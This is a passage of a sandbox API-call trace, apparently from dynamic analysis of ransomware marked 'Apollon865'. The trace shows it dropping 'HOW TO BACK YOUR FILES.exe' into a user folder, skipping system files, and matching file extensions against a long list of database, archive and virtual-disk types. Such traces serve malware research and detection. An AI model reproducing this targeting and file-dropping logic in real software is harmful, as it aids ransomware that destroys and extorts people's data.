	[0036.918] lstrlenW (lpString="db-wal") returned 6
	[0036.918] lstrcmpiW (lpString1="om.url", lpString2="db-wal") returned 1
	[0036.918] lstrlenW (lpString="dbc") returned 3
	[0036.918] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1
	[0036.918] lstrlenW (lpString="dbs") returned 3
	[0036.918] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1
	[0036.918] lstrlenW (lpString="dbt") returned 3
	[0036.918] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1
	[0036.919] lstrlenW (lpString="dbv") returned 3
	[0036.919] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1
	[0036.919] lstrlenW (lpString="dbx") returned 3
	[0036.919] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1
	[0036.919] lstrlenW (lpString="dcb") returned 3
	[0036.919] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1
	[0036.919] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="Microsoft At Home.url" | out: lpString1="Microsoft At Home.url") returned="Microsoft At Home.url"
	[0036.919] lstrlenW (lpString="Microsoft At Home.url") returned 21
	[0036.919] lstrlenW (lpString="Apollon865") returned 10
	[0036.919] lstrcmpiW (lpString1="t Home.url", lpString2="Apollon865") returned 1
	[0036.919] lstrlenW (lpString=".dll") returned 4
	[0036.919] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2=".dll") returned 1
	[0036.919] lstrlenW (lpString=".lnk") returned 4
	[0036.919] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2=".lnk") returned 1
	[0036.919] lstrlenW (lpString=".ini") returned 4
	[0036.919] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2=".ini") returned 1
	[0036.919] lstrlenW (lpString=".sys") returned 4
	[0036.919] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2=".sys") returned 1
	[0036.919] lstrlenW (lpString="Microsoft At Home.url") returned 21
	[0036.919] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="Microsoft At Work.url" | out: lpString1="Microsoft At Work.url") returned="Microsoft At Work.url"
	[0036.919] lstrlenW (lpString="Microsoft At Work.url") returned 21
	[0036.919] lstrlenW (lpString="Apollon865") returned 10
	[0036.919] lstrcmpiW (lpString1="t Work.url", lpString2="Apollon865") returned 1
	[0036.919] lstrlenW (lpString=".dll") returned 4
	[0036.919] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2=".dll") returned 1
	[0036.919] lstrlenW (lpString=".lnk") returned 4
	[0036.919] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2=".lnk") returned 1
	[0036.919] lstrlenW (lpString=".ini") returned 4
	[0036.919] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2=".ini") returned 1
	[0036.919] lstrlenW (lpString=".sys") returned 4
	[0036.919] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2=".sys") returned 1
	[0036.919] lstrlenW (lpString="Microsoft At Work.url") returned 21
	[0036.920] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="Microsoft Store.url" | out: lpString1="Microsoft Store.url") returned="Microsoft Store.url"
	[0036.920] lstrlenW (lpString="Microsoft Store.url") returned 19
	[0036.920] lstrlenW (lpString="Apollon865") returned 10
	[0036.920] lstrcmpiW (lpString1=" Store.url", lpString2="Apollon865") returned -1
	[0036.920] lstrlenW (lpString=".dll") returned 4
	[0036.920] lstrcmpiW (lpString1="Microsoft Store.url", lpString2=".dll") returned 1
	[0036.920] lstrlenW (lpString=".lnk") returned 4
	[0036.920] lstrcmpiW (lpString1="Microsoft Store.url", lpString2=".lnk") returned 1
	[0036.920] lstrlenW (lpString=".ini") returned 4
	[0036.920] lstrcmpiW (lpString1="Microsoft Store.url", lpString2=".ini") returned 1
	[0036.920] lstrlenW (lpString=".sys") returned 4
	[0036.920] lstrcmpiW (lpString1="Microsoft Store.url", lpString2=".sys") returned 1
	[0036.920] lstrlenW (lpString="Microsoft Store.url") returned 19
	[0036.920] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\Favorites\\Links", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Favorites\\Links") returned="C:\\Users\\Default\\Favorites\\Links"
	[0036.920] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bde88 | out: hHeap=0x580000) returned 1
	[0036.920] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b28 | out: hHeap=0x580000) returned 1
	[0036.920] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\Links") returned 32
	[0036.920] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Favorites\\Links" | out: lpString1="C:\\Users\\Default\\Favorites\\Links") returned="C:\\Users\\Default\\Favorites\\Links"
	[0036.920] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.920] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Favorites\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\favorites\\links\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0036.925] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.925] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\Links\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e2bb6f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e2bb6f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca290
	[0036.925] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.925] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0036.925] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0036.925] FindNextFileW (in: hFindFile=0x5ca290, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e2bb6f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e2bb6f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.926] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.926] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0036.926] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0036.926] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0036.926] FindNextFileW (in: hFindFile=0x5ca290, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfefb1330, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0036.926] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.926] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0036.926] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0036.926] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0036.926] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0036.926] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0036.926] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0036.926] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0036.926] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0036.926] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0036.926] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0036.926] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0036.926] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0036.926] lstrlenW (lpString="desktop.ini") returned 11
	[0036.926] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\Links\\*") returned 34
	[0036.926] lstrcpyW (in: lpString1=0x2d3e592, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0036.926] lstrlenW (lpString="desktop.ini") returned 11
	[0036.926] lstrlenW (lpString="Apollon865") returned 10
	[0036.926] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0036.926] lstrlenW (lpString=".dll") returned 4
	[0036.926] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0036.927] lstrlenW (lpString=".lnk") returned 4
	[0036.927] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0036.927] lstrlenW (lpString=".ini") returned 4
	[0036.927] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0036.927] lstrlenW (lpString=".sys") returned 4
	[0036.927] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0036.927] lstrlenW (lpString="desktop.ini") returned 11
	[0036.927] lstrlenW (lpString="bak") returned 3
	[0036.927] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0036.927] lstrlenW (lpString="ba_") returned 3
	[0036.927] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0036.927] lstrlenW (lpString="dbb") returned 3
	[0036.927] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0036.927] lstrlenW (lpString="vmdk") returned 4
	[0036.927] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0036.927] lstrlenW (lpString="rar") returned 3
	[0036.927] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0036.927] lstrlenW (lpString="zip") returned 3
	[0036.927] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0036.927] lstrlenW (lpString="tgz") returned 3
	[0036.927] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0036.927] lstrlenW (lpString="vbox") returned 4
	[0036.927] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0036.927] lstrlenW (lpString="vdi") returned 3
	[0036.927] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0036.927] lstrlenW (lpString="vhd") returned 3
	[0036.927] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0036.927] lstrlenW (lpString="vhdx") returned 4
	[0036.927] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0036.927] lstrlenW (lpString="avhd") returned 4
	[0036.927] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0036.927] lstrlenW (lpString="db") returned 2
	[0036.927] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0036.927] lstrlenW (lpString="db2") returned 3
	[0036.927] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0036.927] lstrlenW (lpString="db3") returned 3
	[0036.927] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0036.927] lstrlenW (lpString="dbf") returned 3
	[0036.928] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0036.928] lstrlenW (lpString="mdf") returned 3
	[0036.928] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0036.928] lstrlenW (lpString="mdb") returned 3
	[0036.928] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0036.928] lstrlenW (lpString="sql") returned 3
	[0036.928] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0036.928] lstrlenW (lpString="sqlite") returned 6
	[0036.928] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0036.928] lstrlenW (lpString="sqlite3") returned 7
	[0036.928] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0036.928] lstrlenW (lpString="sqlitedb") returned 8
	[0036.928] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0036.928] lstrlenW (lpString="xml") returned 3
	[0036.928] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0036.928] lstrlenW (lpString="$er") returned 3
	[0036.928] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0036.928] lstrlenW (lpString="4dd") returned 3
	[0036.928] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0036.928] lstrlenW (lpString="4dl") returned 3
	[0036.928] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0036.928] lstrlenW (lpString="^^^") returned 3
	[0036.928] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0036.928] lstrlenW (lpString="abs") returned 3
	[0036.928] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0036.928] lstrlenW (lpString="abx") returned 3
	[0036.928] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0036.928] lstrlenW (lpString="accdb") returned 5
	[0036.928] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0036.928] lstrlenW (lpString="accdc") returned 5
	[0036.928] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0036.928] lstrlenW (lpString="accde") returned 5
	[0036.928] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0036.928] lstrlenW (lpString="accdr") returned 5
	[0036.928] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0036.928] lstrlenW (lpString="accdt") returned 5
	[0036.928] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0036.929] lstrlenW (lpString="accdw") returned 5
	[0036.929] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0036.929] lstrlenW (lpString="accft") returned 5
	[0036.929] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0036.929] lstrlenW (lpString="adb") returned 3
	[0036.929] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0036.929] lstrlenW (lpString="adb") returned 3
	[0036.929] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0036.929] lstrlenW (lpString="ade") returned 3
	[0036.929] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0036.929] lstrlenW (lpString="adf") returned 3
	[0036.929] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0036.929] lstrlenW (lpString="adn") returned 3
	[0036.929] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0036.929] lstrlenW (lpString="adp") returned 3
	[0036.929] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0036.929] lstrlenW (lpString="alf") returned 3
	[0036.929] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0036.929] lstrlenW (lpString="ask") returned 3
	[0036.929] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0036.929] lstrlenW (lpString="btr") returned 3
	[0036.929] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0036.929] lstrlenW (lpString="cat") returned 3
	[0036.929] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0036.929] lstrlenW (lpString="cdb") returned 3
	[0036.929] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0036.929] lstrlenW (lpString="ckp") returned 3
	[0036.929] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0036.929] lstrlenW (lpString="cma") returned 3
	[0036.929] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0036.929] lstrlenW (lpString="cpd") returned 3
	[0036.929] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0036.929] lstrlenW (lpString="dacpac") returned 6
	[0036.929] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0036.929] lstrlenW (lpString="dad") returned 3
	[0036.929] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0036.930] lstrlenW (lpString="dadiagrams") returned 10
	[0036.930] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0036.930] lstrlenW (lpString="daschema") returned 8
	[0036.930] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0036.930] lstrlenW (lpString="db-journal") returned 10
	[0036.930] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0036.930] lstrlenW (lpString="db-shm") returned 6
	[0036.930] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0036.930] lstrlenW (lpString="db-wal") returned 6
	[0036.930] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0036.930] lstrlenW (lpString="dbc") returned 3
	[0036.930] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0036.930] lstrlenW (lpString="dbs") returned 3
	[0036.930] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0036.930] lstrlenW (lpString="dbt") returned 3
	[0036.930] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0036.930] lstrlenW (lpString="dbv") returned 3
	[0036.930] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0036.930] lstrlenW (lpString="dbx") returned 3
	[0036.930] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0036.930] lstrlenW (lpString="dcb") returned 3
	[0036.930] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0036.930] lstrlenW (lpString="dct") returned 3
	[0036.930] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0036.930] lstrlenW (lpString="dcx") returned 3
	[0036.930] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0036.930] lstrlenW (lpString="ddl") returned 3
	[0036.930] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0036.930] lstrlenW (lpString="dlis") returned 4
	[0036.930] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0036.930] lstrlenW (lpString="dp1") returned 3
	[0036.930] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0036.930] lstrlenW (lpString="dqy") returned 3
	[0036.930] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0036.930] lstrlenW (lpString="dsk") returned 3
	[0036.930] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0036.930] lstrlenW (lpString="dsn") returned 3
	[0036.930] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0036.931] lstrlenW (lpString="dtsx") returned 4
	[0036.931] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0036.931] lstrlenW (lpString="dxl") returned 3
	[0036.931] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0036.931] lstrlenW (lpString="eco") returned 3
	[0036.931] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0036.931] lstrlenW (lpString="ecx") returned 3
	[0036.931] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0036.931] lstrlenW (lpString="edb") returned 3
	[0036.931] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0036.931] lstrlenW (lpString="epim") returned 4
	[0036.931] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0036.931] lstrlenW (lpString="fcd") returned 3
	[0036.931] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0036.931] lstrlenW (lpString="fdb") returned 3
	[0036.931] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0036.931] lstrlenW (lpString="fic") returned 3
	[0036.931] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0036.931] lstrlenW (lpString="flexolibrary") returned 12
	[0036.931] lstrlenW (lpString="fm5") returned 3
	[0036.931] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0036.931] lstrlenW (lpString="fmp") returned 3
	[0036.931] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0036.931] lstrlenW (lpString="fmp12") returned 5
	[0036.931] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0036.931] lstrlenW (lpString="fmpsl") returned 5
	[0036.931] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0036.931] lstrlenW (lpString="fol") returned 3
	[0036.931] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0036.931] lstrlenW (lpString="fp3") returned 3
	[0036.931] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0036.931] lstrlenW (lpString="fp4") returned 3
	[0036.931] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0036.931] lstrlenW (lpString="fp5") returned 3
	[0036.931] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0036.931] lstrlenW (lpString="fp7") returned 3
	[0036.931] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0036.931] lstrlenW (lpString="fpt") returned 3
	[0036.931] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0036.932] lstrlenW (lpString="frm") returned 3
	[0036.932] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0036.932] lstrlenW (lpString="gdb") returned 3
	[0036.932] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0036.932] lstrlenW (lpString="gdb") returned 3
	[0036.932] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0036.932] lstrlenW (lpString="grdb") returned 4
	[0036.932] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0036.932] lstrlenW (lpString="gwi") returned 3
	[0036.932] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0036.932] lstrlenW (lpString="hdb") returned 3
	[0036.932] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0036.932] lstrlenW (lpString="his") returned 3
	[0036.932] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0036.932] lstrlenW (lpString="ib") returned 2
	[0036.932] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0036.932] lstrlenW (lpString="idb") returned 3
	[0036.932] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0036.932] lstrlenW (lpString="ihx") returned 3
	[0036.932] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0036.932] lstrlenW (lpString="itdb") returned 4
	[0036.932] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0036.932] lstrlenW (lpString="itw") returned 3
	[0036.932] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0036.932] lstrlenW (lpString="jet") returned 3
	[0036.932] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0036.932] lstrlenW (lpString="jtx") returned 3
	[0036.932] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0036.932] lstrlenW (lpString="kdb") returned 3
	[0036.932] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0036.932] lstrlenW (lpString="kexi") returned 4
	[0036.932] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0036.932] lstrlenW (lpString="kexic") returned 5
	[0036.932] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0036.932] lstrlenW (lpString="kexis") returned 5
	[0036.932] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0036.932] lstrlenW (lpString="lgc") returned 3
	[0036.932] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0036.932] lstrlenW (lpString="lwx") returned 3
	[0036.933] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0036.933] lstrlenW (lpString="maf") returned 3
	[0036.933] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0036.933] lstrlenW (lpString="maq") returned 3
	[0036.933] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0036.933] lstrlenW (lpString="mar") returned 3
	[0036.933] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0036.933] lstrlenW (lpString="marshal") returned 7
	[0036.933] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0036.933] lstrlenW (lpString="mas") returned 3
	[0036.933] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0036.933] lstrlenW (lpString="mav") returned 3
	[0036.933] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0036.933] lstrlenW (lpString="maw") returned 3
	[0036.933] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0036.933] lstrlenW (lpString="mdbhtml") returned 7
	[0036.933] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0036.933] lstrlenW (lpString="mdn") returned 3
	[0036.933] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0036.933] lstrlenW (lpString="mdt") returned 3
	[0036.933] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0036.933] lstrlenW (lpString="mfd") returned 3
	[0036.933] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0036.933] lstrlenW (lpString="mpd") returned 3
	[0036.933] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0036.933] lstrlenW (lpString="mrg") returned 3
	[0036.933] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0036.933] lstrlenW (lpString="mud") returned 3
	[0036.933] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0036.933] lstrlenW (lpString="mwb") returned 3
	[0036.933] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0036.933] lstrlenW (lpString="myd") returned 3
	[0036.933] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0036.933] lstrlenW (lpString="ndf") returned 3
	[0036.933] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0036.933] lstrlenW (lpString="nnt") returned 3
	[0036.933] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0036.933] lstrlenW (lpString="nrmlib") returned 6
	[0036.934] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0036.934] lstrlenW (lpString="ns2") returned 3
	[0036.934] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0036.934] lstrlenW (lpString="ns3") returned 3
	[0036.934] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0036.934] lstrlenW (lpString="ns4") returned 3
	[0036.934] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0036.934] lstrlenW (lpString="nsf") returned 3
	[0036.934] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0036.934] lstrlenW (lpString="nv") returned 2
	[0036.934] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0036.934] lstrlenW (lpString="nv2") returned 3
	[0036.934] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0036.934] lstrlenW (lpString="nwdb") returned 4
	[0036.934] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0036.934] lstrlenW (lpString="nyf") returned 3
	[0036.934] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0036.934] lstrlenW (lpString="odb") returned 3
	[0036.934] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0036.934] lstrlenW (lpString="odb") returned 3
	[0036.934] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0036.934] lstrlenW (lpString="oqy") returned 3
	[0036.934] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0036.934] lstrlenW (lpString="ora") returned 3
	[0036.934] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0036.934] lstrlenW (lpString="orx") returned 3
	[0036.934] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0036.934] lstrlenW (lpString="owc") returned 3
	[0036.934] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0036.934] lstrlenW (lpString="p96") returned 3
	[0036.934] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0036.934] lstrlenW (lpString="p97") returned 3
	[0036.934] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0036.934] lstrlenW (lpString="pan") returned 3
	[0036.934] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0036.934] lstrlenW (lpString="pdb") returned 3
	[0036.934] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0036.934] lstrlenW (lpString="pdm") returned 3
	[0036.935] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0036.935] lstrlenW (lpString="pnz") returned 3
	[0036.935] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0036.935] lstrlenW (lpString="qry") returned 3
	[0036.935] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0036.935] lstrlenW (lpString="qvd") returned 3
	[0036.935] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
